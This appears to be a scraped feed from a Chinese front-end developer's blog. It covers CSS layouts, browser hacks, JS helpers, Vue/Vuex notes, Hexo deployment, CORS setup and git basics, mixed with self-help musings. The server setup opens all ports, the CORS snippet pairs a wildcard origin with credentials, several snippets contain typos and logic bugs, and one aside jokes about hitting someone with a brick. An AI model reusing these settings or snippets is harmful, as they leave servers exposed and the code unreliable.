autoprefixer(需要和 postcss-loader 一起使用)
补全 css 前缀
babel 合集
babel-corebabel-loaderbabel-plugin-react-transformbabel-preset-envbabel-preset-react
react-transform-catch-errors、redbox-react
react 报错插件
copy-to-clipboard
点击复制到剪贴板插件
`
ReactDOM.render(
,
document.getElementById(‘app’)
)
在父级 APP 中记得加入 this.props.children`
路由渲染不要带着DOM一起渲染,如果可以将 router 单独作为一个组件处理,本例稍简单,并未分离出去
神坑啊!设置的时候是将 8K 以内的图片打包后转为 base64,所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹
]]>我一直在探索属于我自己独一无二的代码风格
最近在看这本书,书中有很多技巧让我受益颇多
1· 方法函数是驼峰命名 2· 构造函数是首字母大写命名 3· 常量采取全大写命名 4· js 中不要省略小数点前的 0 (css可以)
1. static 开头类的属性,eg:defaultProps, propTypes 2. 构造函数 constructor 3. getter/setter 4. 组件生命周期 5. _开头的私有方法 6. 事件监听方法 7. render* 开头的方法 8. render
EXP(以 react 为例):
`
//组件
class Exp extends Component {
//初始化
static propTypes = {
onSubmit: PropTypes.func
}
//构造函数 constructor () { super() this.state = { test: '1' } } // getter/setter getter() { } // 即将挂载 componentWillMount () { localStorage.getItem('username') } // 已挂载 componentDidMount () { } // 私有方法 _selfFunction (username) { localStorage.setItem('username', username) } // 监听方法 function1 () { //第一个 if 语句 if () { var test = 'abc', first = 1, //立即执行函数 secound = (function () { return 0}()) //第二个 if 语句 if (allNumber || first || secound || third || monday || sunday || satarday) { //第三个 if 语句 if () { function act (ppt) {} act( ppt ) } } } else { } }}
`
IE:obj.parentElement
Firefox:obj.parentNode
解决办法:都用obj.parentNode
if (navigator.appName.indexOf('Explorer') > -1) { document.getElementById('element').innerText = 'my text'} else { document.getElementById('element').textContent = 'my text'}
box {width:100px; border: 1px;}
IE:box.width = 100
FF:box.width = 100 + 1*2
解决方法:{width: 100px!important; width: 98px;}
设置为 float 的 div 在 ie 下设置的 margin 会加倍
解决方法:加入 display:inline
IE 不识别 min
解决方法:min-width: 600px; width: expression(document.body.clientWidth < 600px ? ‘600px’ : ‘auto’)
解决方法:左边浮动,右边margin-right: -3px;
li { width:200px; white-spave: nowrap; text-overflow: elipsis; overflow: hidden;}
FF 不支持
解决方法:将 body 换成 HTML
html {scrollbar-face-color: #fff;….}
解决方法:将flash 设置为透明
解决方法:注意顺序 L-V-H-A
在 IE 中会有一点边距
解决方法:ul,form {margin: 0; padding: 0;}
可以下载 js 库
####
]]>可以在字符串中抽取从 start下标开始的指定数目的字符
length可以不要,代表整个截取的长度
可以在数组 start 开始截取指定长度的数组,如果为负数就从最后一个开始,subStr也是
end 不包括end本身
把字符串分割成字符串数组
separator 可以是字符串,也可以是正则,howmany 表示截取的长度不超过该数量
从数组中添加/删除项目,然后返回被删除的项目
index 表示删除的位置,howmany 表示删除几项,如果为0表示不删除,item代表插入的项目
把字符串中老的字符替换成新的字符
在原来的字符串基础上连接多个字符串,也可以连接数组
找到一个或多个和正则表达式的匹配
找到第一次出现正则表达式或者字符串的地方,返回该位置的下标,如果没有就返回-1
字符串大小写切换
去除字符串两边的空白
判断数组中的所有项是否都符合条件
用字符串固定替换数组的元素
创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合
将数组转换成字符串,并用separator 分开,可以省略
反转字符串或数组
var BrowserInfo = { userAgent: navigator.userAgent.toLowerCase() isAndroid: Boolean(navigator.userAgent.match(/android/ig)), isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)), isIpad: Boolean(navigator.userAgent.match(/ipad/ig)), isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),}
function getExp(name, url) { var reg = new RegExp("(^|\\?|&)" + name + "=([^&]*)(\\s|&|$)", "i") if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\+/g, " ")) return ""}
function launchFullScreen(element) { if (element.requestFullScreen) { element.requestFullScreen(); } else if (element.mozRequestFullScreen) { element.mozRequestFullScreen(); } else if (element.webkitRequestFullScreen) { element.webkitRequestFullScreen(); }}
function selectAll(objSelect) { if(objSelect.checked == true) { $("input[name='chkId']").attr("checked", true) $("input[name='chkAll']").attr("checked", true) } else if (objSelect.checked == true) { $("input[name='chkId']").attr("checked", false) $("input[name='chkAll']").attr("checked", false) }}
<!--判断是否是 IE 浏览器--> if (document.all){ alert(”IE浏览器”); }else{ alert(”非IE浏览器”); } if (!!window.ActiveXObject){ alert(”IE浏览器”); }else{ alert(”非IE浏览器”); }<!--判断是IE几-->var isIE=!!window.ActiveXObject;var isIE6=isIE&&!window.XMLHttpRequest;var isIE8=isIE&&!!document.documentMode;var isIE7=isIE&&!isIE6&&!isIE8;if (isIE){ if (isIE6){ alert(”ie6″); }else if (isIE8){ alert(”ie8″); }else if (isIE7){ alert(”ie7″); }}
function setCookie(name, value, expires, path, domain) { if (!expires) expires = -1 if (!path) path = "/" var d = "" + name + "=" + value var e if (expires < 0) { e = "" } else if (expires == 0) { var f = new Date(1970, 1, 1) e = ";expires=" + f.toUTCString() } else { var now = new Date() var f = new Date(now.getTime() + expires * 1000) e = ";expires=" + f.toUTCString() } var dm; if (!domain) { dm = "" } else { dm = ";domain=" + domain } document.cookie = name + "=" + value + ";path=" + path + e + dm};
function readCookie(name) { var nameEQ = name + "=" var ca = document.cookie.split(';') for (var i = 0; i < ca.length; i++) { var c = ca[i] while (c.charAt(0) == ' ') c = c.substring(1, c.length) if (c.indexOf(nameEQ) == 0) { return decodeURIComponent(c.substring(nameEQ.length, c.length)) } } return null}
]]>1、记住,平均每天看电视超过三小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上,同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。
2、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的事他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。
3、如果,你真的爱你的爸妈,爱你的女朋友,就好好得去奋斗,去拼搏吧,这样,你才有能力,有经济条件,有自由时间,去陪她们,去好好爱他们。
4、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。过程只是人生的一部分,再辛苦,没有成功只能说明你的能力还不够。
5、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。
6、趁着年轻,多出去走走看看,读万卷书,不如行万里路,行万里路,不如阅人无数。
7、与人交往的时候,多听少说,这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。
8、不要装13,对于装13的人,最好的办法就是,见块砖头,悄悄跟上去,一下子从背后放到他。
9、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。
10、成功者就是胆识加魄力。
11、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的,这样,你才能找到自己的目标和方向。
12、如果我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径。
1、给自己定目标,一年、两年、五年,也许你出生不如别人好,通过努力,往往可以改变70%的命运,破罐子破摔只能和懦弱做朋友。
2、朋友请你吃饭,不要觉得理所当然,请礼尚往来,否则你的名声会越来越差。
3、好朋友里面,一定要培养出一个知己,不要以为你有多么八面玲珑,到处是朋友,最后真心对你的,只要一个,相信我。
4、不喜欢的人少接触,但别在背后说坏话,说是非之人,必定是是非之人,谨记,祸从口出。
5、是人都有惰性,这是与生俱来的,但是我们后天可以改变这种惰性,因为有很多人正在改变,对于某种事物或是生意不要等别人做到了,我才想到,不要等别人已经赚到钱了,我才想去做,没有人相信的是市场和机遇,大家都相信的叫做膨胀。
6、知道自己要干什么,夜深人静,问问自己,将来的打算,并朝着那个方向去实现,而不是无所事事和做一些无谓的事。
7、出路出路,走出去了,总是会有路的,困难苦难,困在家里就是难,社会普遍认为。
8、做人,要做到;万事孝为先,教童品之道,夫妻和谐美,幸福万年长。但是这些不是拿来用嘴说说就能办到的,解放初期年代要做到这些,需要付出很大的努力和辛苦,当今现实的社会需要你付出很大的金钱,聪明的人都知道这个道理。
9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏,读点文学作品,学习一些经营流程,管理规范,国际时事,法律常识。这能保证你在任何聚会都有谈资。
10、宁可错杀一千次来自各方面的信息,也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。
11、要做一件事,成功之前,没有必要告诉其他人。成功之后不用你说,其他人都会知道的。这就是信息时代所带来的效应。
12、力求上进的人,不要总想着靠谁谁,人都是自私的,自己才是最靠得住的人。
]]>二十岁没钱,那很正常;三十岁没钱,可能是没有好的家境,需要更大的努力;四十岁没钱,只能自己找原因。穷人变成富人是可能的,而且很可能。穷人能穷一辈子,也是必然的,存在就是理由,只是有所选择。
html & css:对web标准的理解,浏览器内核差异,兼容性,hack,css基本功:布局,盒子模型,选择器优先级,flexbox
javascript: 数据类型,运算,对象,function,继承,闭包,作用域,原型链,事件,正则(regExp),json,ajax,dom,bom,内存泄漏,跨域,异步封装,模板引擎,前端mvc,路由,模块化,canvas,es6,nodeJS
其他:移动端,相应式,自动化构建,http,离线储存,web安全,优化,重构,团队协作,可维护,易用性,SEO,UED,架构,职业生涯,快速学习能力
var json = JSON.stringfy({a: ‘hello’, b: ‘world’})
var obj = JSON.parse(‘{“a”: “hello”}’)
待续~
app.use()
]]>整理一些面试题,以备用
function A(name) { this.name = name; this.sayHello = function(){alert(this.name+ "say hello!")} } function B(name, id) { this.temp = A this.temp(name) delete this.temp this.id = id this.checkId = function(ID) {alert(this.id == ID)} }
function stopBubble(e) { if (e && e.stopPropagation) { e.stopPropgation () } else { window.event.cancelBubble = true } return false }
优点: node是基于时间驱动和无阻塞的,所以非常适合处理并发请求,因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多,与node代理服务器交互的客户端代码也是用js写的,用的相同的语言,这感觉前后端非常亲切和美妙
缺点: node是一个相对比较新的开源项目,所以不太稳定,它总是在变,而且缺少足够多的第三方库的支持
1· 水平居中
设置justify-content:center;
2· 垂直居中
a: 插入 table ,再设置vertical-align: middle;
b: 先设置display: table-cell;再设置vertical-align: middle;
!important > id > class > tag
400: 语义有误 401:当前请求需要用户验证 403: 服务器已经理解请求,但是拒绝执行他 404:页面找不到
加载:根据请求的url进行域名解析,向服务器发起请求,接受文件(html,js,css,图像等)
解析:对加载到的资源(html,js,css)进行语法解析,建议相应的内部数据结构(比如html的dom树,js的属性表,css的样式表规则等等)
node.js的模块系统,就是参照CommonJS规范实现的。在CommonJS中,有一个全局性方法require(),用于加载模块。假定有一个数学模块math.js,就可以像下面这样加载。NodeJS是CommonJS规范的实现,webpack 也是以CommonJS的形式来书写。
var math = require(‘math’)
浏览器兼不兼容commonJS,在于是否缺少这几个环境变量
将 npm包 编译成可以被 html 页面引入的 js模块
]]>一个类似的库:browser-unpack
俗话说:善奕者谋势,不善奕者谋子
- 许多企业之所以做不大,就在于只谋子不谋势。谋势就是定战略,有了战略,路再长,总有一天会走到;没有战略,走得越猛,死得越早。置战略需求于不顾,希望用1分钱换来100元的效果的主,很难走出穷的境界,因为占便宜本身就代表没有境界。死抠一城一池,是活三年的企业,因为它不抬头看天。东一榔头西一棒子的,是活三月的企业,因为它不低头看地。不看天,山雨欲来浑然不觉,要被洪水淹死;不看地,夜半悬崖大步流星,要被群山淹没。
据一些管理学家的最新研究,发现有十种老板,由于各方面的制约,是很难将生意做大的。
从上来看,我需要提升的地方还有很多很多,从心态到气场,从执行的态度,到为人处世的方法,学无止境,提高自己的格局,改变自己的视野,不要被眼前的枷锁所束缚,世界很大,我还有很多地方没有去走,牛人很多,我还有很多品质需要研究
改变自己,不甘平庸,相信明天!!!
引入一个浏览器窗口的概念,开启在同源的同窗口,即使跳到其他页面,数据仍然存在,页面刷新也不会消除数据,
数据始终在同源的http请求中携带(即使不需要),即cookie在浏览器和服务器间来回传递,数据还有路径(path)的概念,可以限制cookie只属于某个路径下。
使用方法:
var storage = null; if(window.localStorage){ //判断浏览器是否支持localStorage storage = window.localStorage; storage.setItem("name", "Rick"); //调用setItem方法,存储数据 alert(storage.getItem("name")); //调用getItem方法,弹框显示 name 为 Rick storage.removeItem("name"); //调用removeItem方法,移除数据 alert(storage.getItem("name")); //调用getItem方法,弹框显示 name 为 null }
]]>很多人容易把坏男人很狼联系起来,事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉,好玩的天性,都充满好奇心,并且坚韧,善于适应不断变化的环境,一样的勇敢。以及根植在骨子里的忠诚
但是往往会被冠以“狡猾” 和“危险”的名号
是抽烟,逃课,打架,玩世不恭,对感情暧昧,吊儿郎当的度日子,看上去没有丝毫的进取心
他可能带着你逃单,然后给气喘吁吁的你递上一瓶水,也可能在你蹦极吓得流泪的时候一脚把你踹下去,他可能为你和别人打架被打成狗,他有着高度的想象力和执行力
大部分人庸庸碌碌的过着日子,只有少部分人愿意打破自己的舒适区,去尝试一些未知的甚至是危险的事物。
坏,他不意味着疯狂或是失控,更不意味着矫正,放弃原本的社会规则,或者是背离人性。刚好相反,它非常的宽容,对过往的一切能够兼容并蓄。它非常的积极,对未知的一切都能够无所畏惧
吹嘘了这么久的自己,有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉,但我只想说,那是我脑海里追求的生活方式,从表面上体现了出来。但是坏的是表现,不是本质
我不喜欢平凡,喜欢追求自己想要的生活,即使三十年,四十年后,我也不会停下追寻的脚步,因为我知道,人的一生很短暂,你怎么样为自己的一生保留一些永恒的东西?现在的我没有背景,所以一切只能靠自己的双手去创造。
]]>平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求
首先,它定义了五种样式:
html{}input[type=text] {}a:hover {}
#header {}.sidebar {}
通常只有一个选择器,一个id,或一个class
比 layout 范围小,可以是特定单一领域下特别的设定,通常会将名称加在子 class 作为 prefix
.nav--main_item {}
<ul> <li> </li> <li class="active"> </li><ul>
.is-active 比.active 来的好读
.sidebar { .sidebar--left__section { .sidebar--left__section--header {} }}
html 里 class 之间用两个空格比一个空格好阅读
itemClasses () { let result = [] let score = Math.floor(this.score * 2) / 2 let hasDecimal = score % 1 !== 0 let integer = Math.floor(score) for (let i = 0; i < integer; i++) { result.push(CLS_ON) } if (hasDecimal) { result.push(CLS_HELF) } while (result.length < STARLENG) { result.push(CLS_OFF) } return result }
分别获取它们的整数,小数,和无
为了防止内容超过容器,图标遮挡内容的现象
实现原理就是设置一个容器,将该容器的最小大小设置为100%,容器外面再设一个容器,给他一个负的 margin 或者是 padding,将它固定在容器的最下方
可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]
可以在 npm 包管理器中下载
- 使用方法就是直接给你需要滚动的列表上创建一个实例,该实例的调用要放在nextTrick()中,因为触屏滚动每次都是需要更新 dom 的
新建一个 express.Router() 实例,给它们分配路由路径,记得加入一个 errno ,判断是否正确获取数据
这个时候就发现 node 是多么的强大,前后端全包了~
指的是底部购物车组件,这个部分比较麻烦的是数据绑定,因为我们需要绑定一个数据流,点击添加商品,判断商品是否大于起送价,否则返回空,按钮不可点击,购物车头部无红色小标签,是则按钮变为绿色,购物logo变成蓝色,出现红色计数标签。
实现的思路是,点击添加会改变shopcart里的数据,双向绑定,这里用到了 $emit 就是将子路由中的数据传递给父组件,和ref的原理很像,父组件再通过监听事件得到子组件的数据。
]]>今天,我想讲讲关于stick-footer布局技巧,它的内容大概就是当你页面大小为100%时,希望底部定位一个 X 按钮啥的,不管文本内容不够,或者是文本内容超过屏幕时,这个按钮位置总在文本的下方
<body> <div class="wrapper"> content <div class="push"></div> </div> <footer class="footer"></footer></body>html, body { height: 100%; margin: 0;}.wrapper { min-height: 100%; /* Equal to height of footer */ /* But also accounting for potential margin-bottom of last child */ margin-bottom: -50px;}.footer,.push { height: 50px;}
<body> <div class="content"> <div class="content-inside"> content </div> </div> <footer class="footer"></footer></body>html, body { height: 100%; margin: 0;}.content { min-height: 100%;}.content-inside { padding: 20px; padding-bottom: 50px;}.footer { height: 50px; margin-top: -50px;}
<body> <div class="content"> content </div> <footer class="footer"></footer></body>.content { min-height: calc(100vh - 70px);}.footer { height: 50px;}
calc中的 70px,和50px是假定了content中最后一个元素有个20px的margin bottom,你不必在意这些~
<body> <div class="content"> content </div> <footer class="footer"></footer></body>html { height: 100%;}body { min-height: 100%; display: flex; flex-direction: column;}.content { flex: 1;}
flexbox版本同样很简单,并且相比前面三种方式,它不需要知道footer的高度,避免了Magic Number的尴尬。
<body> <div class="content"> content </div> <footer class="footer"></footer></body>html { height: 100%;}body { min-height: 100%; display: grid; grid-template-rows: 1fr auto;}.footer { grid-row-start: 2; grid-row-end: 3;}
]]>Chrome Canary 或者 Firefox Developer Edition才能看到效果。
我很希望,自己的未来能不一样
我想要的,就是在平凡中不断的改变自己
路上的人,有人嘲笑,有人鼓励
我全都笑纳
好的留在心里
坏的随风飘逝
展现真正的自己,表达的更简单一些
在机会来临时
奋不顾身的抓牢它
不要被眼前的利益所迷惑
放眼更广阔的未来
做好自己
抓住身边一切的美好
当有一天对一切都无所畏惧
那就是
重生
人有时候真的挺纠结,就像我今天看了 《龙飞凤舞》,觉得上流社会的生活有时候即糜烂,又觉得美好
有的人花了一生时间,去挤进那样的生活圈,有的人甘愿过着平凡的生活
殊不知,彼此之间都存在着羡慕与无奈
我也不例外
如果哪天,我能够进入这样的世界
我是否能够保持清醒,不被外界所干扰,任然保持初心?
我也不敢保证,所以我一直在努力
为了不亏欠曾经的自己
我不敢停下脚步
我怕我停下来
就找不到回去的路
我也舍弃了太多
只因为我曾经欠下太多
但我不后悔
明天的路, 我想自己走
即使错了,那也是个经历,我会记在心中
将来成功的那天,回忆,何不是一种财富?
div在html早期版本就支持了,section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化,三者并无区别。
作为语义化标签,section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说,当元素内容明确地出现在文档大纲中时,section 就是适用的。
对于article标签来说,无论从结构上还是内容上来说,article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境,是否还是完整的、独立的,如果是,则应该用article标签。
合理的语义化标签,可以更好的方便seo,也不知道为什么,我现在更喜欢细节的东西
div < section < article ,语义是从无到有,逐渐增强的。div 无任何语义,仅仅用作样式化或者脚本化,对于一段主题性的内容,则就适用 section,而假如这段内容可以脱离上下文,作为完整的独立存在的一段内容,则就适用 article。原则上来说,能使用 article 的时候,也是可以使用 section 的,但是实际上,假如使用 article 更合适,那么就不要使用 section 。
]]>对于一个对界要求很高的人来说,今天有必要研究下各种常见的布局,目前罗列了四种布局,来来来,一起看看
左右两栏采用绝对定位,中间的由两边的margin撑开
`
#main {
margin:0 200px;
background:red;
}
#left{
position:absolute;
top:0;left:0;
width:200px;
background:blue;
height:100%;
}
#right{
position:absolute;
top:0;right:0;
width:200px;
background:green;
height:100%;
}
这种布局缺点是,当缩放到一定大小的时候,会出现重叠现象### 自身浮动法> 左栏左浮动,右栏右浮动,中间栏放最后
<body> <div id="left"></div> <div id="right"></div> <div id="main"></div></body> #main {margin:0 200px;background:red;}#left{float:left;width:200px;background:blue;height:100%;}#right{float:right;width:200px;background:green;height:100%;}
简单而高效,代码还容易理解,适合初学者### 圣杯布局
//注意元素次序
//习惯性的CSS reset
body,html{
height:100%;
padding: 0;
margin: 0
}
//父元素body空出左右栏位
body {
padding-left: 100px;
padding-right: 200px;
}
//左边元素更改
.left {
background: red;
width: 100px;
float: left;
margin-left: -100%;
position: relative;
left: -100px;
height: 100%;
}
//中间部分
.main {
background: blue;
width: 100%;
height: 100%;
float: left;
}
//右边元素定义
.right {
background: red;
width: 200px;
height: 100%;
float: left;
margin-left: -200px;
position: relative;
right: -200px;
}
稍微难理解一点,不过这种布局目前我觉得是适配性比其他两种要好的布局方式,缺点是后期维护性不高### 双飞翼布局
div class=”main”>
`
css样式就是将body上的左右margin值去掉,加在新增的 div 中
这种布局方式为淘宝 UED 提出,目前最好用的一种布局方式,相比较圣杯布局,去掉了相对布局,代码更简洁
一个人的页面能力怎么样,从他对一个网站的布局如何就可以看出来,我觉得一个网站不但要用户看起来舒服,还要工程师在看到你的代码的时候,觉得布局非常巧妙。
小记:前两天面试,展现项目过程中经理问我轮播图的原理,我一脸懵逼,因为当时有现成的插件,所以我没怎么去研究,当然,我也知道该来的还是要来的…
首先我大概讲一下,传统轮播图的主要部分:
<div id="list" style="left:-200px"> <img src="./img/5.jpg" alt=""> <img src="./img/1.jpg" alt=""> <img src="./img/2.jpg" alt=""> <img src="./img/3.jpg" alt=""> <img src="./img/4.jpg" alt=""> <img src="./img/5.jpg" alt=""> <img src="./img/1.jpg" alt=""> </div>
当是最后一张图或第一张图时,将第一张上一张跳转为最后一张时的宽,最后一张跳转为第一张时的宽if (newList < -1000) { dot = 1 list.style.left = -200 + 'px' } if (newList > -200) { dot = 5 list.style.left = -1000 + 'px' }
这要实现的思想有
function showBtn() { for (var i = 0; i < btns.length; i++) { if (btns[i].className == 'show-btn') { btns[i].className = '' break } } btns[dot-1].className = 'show-btn' }//遍历数组,将有该属性设为空for (var i = 0; i < btns.length; i++) { btns[i].onclick = function () { if (this.className == 'showBtn') { return } var myIndex = parseInt(this.getAttribute('index')) var leng = -200 * (myIndex - dot) animate(leng) dot = myIndex showBtn() } }//遍历数组,将每一个小按钮设了个index属性,这里用到 getAttribute 可以获取除了普通style 或 class 之外的一些属性,获取index值,点击时得到当前的index值,正好和当前的dot值相减,可得跳转的距离
这里要注意的是,当小按钮被重复按的时候,给他一个判断,不然重复点击同一个图标会重复发生相同事件,占内存,耗cpu
就是当用户点击时,有一个慢慢偏移的过程,而不是闪现的动作,我们来看看实现原理
首先,定义参数
var time = 300 //位移总时间var interval = 10 //位移时间间隔var speed = leng/(time/interval) //每次位移量,就是一共调用多少次的意思
设置递归函数
if ((speed < 0 && parseInt(list.style.left) > newList) || (speed > 0 && parseInt(list.style.left) < newList)) { list.style.left = parseInt(list.style.left) + speed + 'px' setTimeout(go, interval) //递归,调用自身函数
判断是否仍在动画
如果用户一直在点击切换图时,如果电脑配置不好,或是其他一些因素,可能会轮播卡顿,为了防止这一现象,就用一个判断来看上一次动画是否完成,若未完成就不能继续切换,等到这次动画跳转完为止`
var animated = false //设初值
if(!animated) {
animate(200)
} //如果为false,则继续动画
### 自动播放首先给个思路,当鼠标移入的时候,自动播放停止,移出的时候开始自动播放* 我们设两个函数,play() 和 stop()
function play() {
timer = setTimeout(function() {
next.onclick()
play()
},interval)
}
function stop() {
clearTimeout(timer)
}`
给整个 container 容器添加该鼠标事件
这年头还是不能偷懒啊,说不定当时知道这个人家就把给我要了呢,好气哦…
]]>改天再研究下旋转木马的那种装个13…
beforeCreate
在实例初始化之后,数据观测(data observer) 和 event/watcher 事件配置之前被调用。
created
实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。然而,挂载阶段还没开始,$el 属性目前不可见。
beforeMount
在挂载开始之前被调用:相关的 render 函数首次被调用。
mounted
el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子。如果 root 实例挂载了一个文档内元素,当 mounted 被调用时 vm.$el 也在文档内。
beforeUpdate
数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。
updated
由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
当这个钩子被调用时,组件 DOM 已经更新,所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。
该钩子在服务器端渲染期间不被调用。
beforeDestroy
实例销毁之前调用。在这一步,实例仍然完全可用。
destroyed
Vue 实例销毁后调用。调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。
var vm = new Vue({
data: data
})
Vue的实例封装的还是挺有艺术性的,很符合开发者的思维规范,它的生命周期也非常清晰,使用起来也非常方便。MVVM双向绑定思想也是吊的可以
]]>前段时间看到腾讯云服务器对学生有优惠,而且很大一坨,就买了一个回来研究,废话不多说,开搞咯~
地方的话就近原则,访问应该会快点
我这里是配了 Windows2012 64位系统,1核1G内存
Linux的系统,听说比较好用,但目前我还没用过,Windows我觉得也还行
进入云服务器控制中心,打开安全组,按需求开放端口
我是开放了全部端口的,你可以随意
进入云服务器之后,打开服务器管理器,[新建角色] => [基于角色和功能的安装] => [从服务器池中选择服务器] => [web服务器应用程序开发,勾选.net4.5 和CGI] => [IIS可承载的web核心] => [确认安装]
中间如果碰到什么问题,仔细看流程,如果还报错,我也帮不了你了
安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站,该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html(htm)文件放在该目录下,一定要保证根目录有个html(htm)文件
右键 添加应用程序,将该项目的物理路径填上去就可以了
> cnpm i hexo-cli -g报错的话就输入> cnpm i hexo --save查看安装是否成功> hexo -v
> hexo init然后> cnpm install到这里你差不多就可以看到效果了,如果你要连接 GitHub,就要往下继续
在根目录打开 vim _config.yml,翻到最下面,改成我这样子的
deploy:
type: git
repo: https://git.coding.net/jzxer/jzxer.git
branch: master
deploy:
type: coding
repo: https://github.com/j710328466/j710328466.github.io.git
branch: master
> npm install hexo-deployer-git --save
创建一篇新文章$ hexo new "My New Post"监听$ hexo server打包$ hexo generate上传$ hexo deploy
theme: material
将主题改成你喜欢的
每个不同的主题会需要不同的配置,主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。
Yilia 是为 hexo 2.4+ 制作的主题。
崇尚简约优雅,以及极致的性能。
目前Github上Star最高的Hexo主题,支持几种不同的风格。
作者提供了非常完善的配置说明。
原之质,物之渊
就是我现在用的这款,简洁大方,响应式设计。
提供方法和API请求,类似于mutation
mutation 修改 state 只能是同步的
- action 充满了各种异步 api
actions: { increment (context) { context.commit('increment') }}另一种写法increment({commit}) { commit('increment')}
]]>store.dispatch(‘increment’)
一直想做一个vue项目 然后呢 我就做了
部分地方不全部根据原版,也有自由发挥的,目前功能模块比较简陋,如果显示不完整,请下载以下api文件并打开
项目地址:github
预览地址:demo
# install dependenciescnpm i(可以用cnpm或yarn,更方便快捷,你值得拥有)# serve with hot reload at localhost:8564npm run dev# build for production with minificationnpm run build# build for production and view the bundle analyzer reportnpm run build --report# 网易云API部署 listen localhost:3000npm run start
(播放页面正在完善中,样式只是大概,待细化…)
(目前子目录只开通歌手列表)
重点来了,这个是我在该项目中花了最多时间的地方,相信很多同学使用axios都碰到过我这个问题,目前我这里使用了三种方法处理该问题,请大家针对自己的项目问题对号入座
跨域访问,简单来说就是 A 网站的 javascript 代码试图访问 B 网站,包括提交内容和获取内容。由于安全原因,跨域访问是被各大浏览器所默认禁止的。
①. 针对本地相同端口服务器之间的跨域
app.all('*', function (req, res, next) { res.header("Access-Control-Allow-Credentials", true) res.header("Access-Control-Allow-Origin", "*") res.header("Access-Control-Allow-Headers", "X-Requested-With") res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS") res.header("X-Powered-By", ' 3.2.1') res.header("Content-Type", "application/json;charset=utf-8") next() })
然后它就会报错~,具体原因是你同一个端口申请相同端口的东西,不好意思,那不叫跨域…
②. 针对本地不同端口的服务器之间的跨域
就是将上面的头文件放在当前项目申请的服务器的那个api中。
③. 针对本地服务器对域名服务器访问的跨域问题
找到当前项目congfig文件夹下index.js文件,然后在文件中将proxyTable内容改为:
proxyTable: { '/api': { target: '[1]', changeOrigin: true, pathRewrite: { '^/api': '/' } } }
就是你当前想访问的api地址,项目中访问的时候就只要用/api做反向代理即可
这是我第一个用vue撸的项目,可能功能有点简陋,很多地方有待提高,不过这次实践让我对组件化的理解有了一定的提升,后期会继续加入其它功能模块的,文中有用词不对的地方,欢迎大家指出,项目有什么bug,也希望大家多多提issue
如果对你有帮助,给个star吧
提供方法和API请求,类似于mutation
mutation 修改 state 只能是同步的
- action 充满了各种异步 api
actions: { increment (context) { context.commit('increment') }}另一种写法increment({commit}) { commit('increment')}
]]>store.dispatch(‘increment’)
git config –global user.name “名字”
git config –global user.email “邮箱”
这是你连接的必要部分,就相当于账号的登录密码,有这个你才能对GitHub上的项目进行操作
ssh-keygen -t rsa -C “710328466@qq.com“
进入首页,新建一个repository
填写相应信息
Repository name: 仓库名称 Description(可选): 仓库描述介绍 Public, Private : 仓库权限(公开共享,私有或指定合作者) Initialize this repository with a README: 添加一个README.md gitignore: 不需要进行版本管理的仓库类型,对应生成文件.gitignore license: 证书类型,对应生成文件LICENSE
#
这个步骤以后你的本地项目文件夹下面就会多出个文件夹,该文件夹名即为你github上面的项目名,如图我多出了个yourItem文件夹,我们把本地项目文件夹下的所有文件(除了新多出的那个文件夹不用),其余都复制到那个新多出的文件夹下
git add . (添加所有文件)
git add readme.md
git commit -m “信息”
git push -u origin master 将本地文件上传到git仓库
如果push -u….报错,你就改成git pull –rebase origin master,重新push就可以了
添加到缓存
查看该项目改变的文件
- git status
默认是暂未缓存的改动,这个可以查自己目前版本和上一个版本的改动位置
查看已缓存的改动
查看已缓存与未缓存的所有改动
显示摘要而非整个diff
将条目从缓存区中移除
用于移动或重命名一个文件,目录
git add READMEgit mv README README.mdls
后面加单词,即是创建分支: git branch day1
git branch -d testing
切换分支
创建新分支并切换到该分支下
]]>合并分支
小结,一个优秀的前端leader,我认为应该具备的能力:
重要功能或需求的开发,或提供解决方案,做技术选型
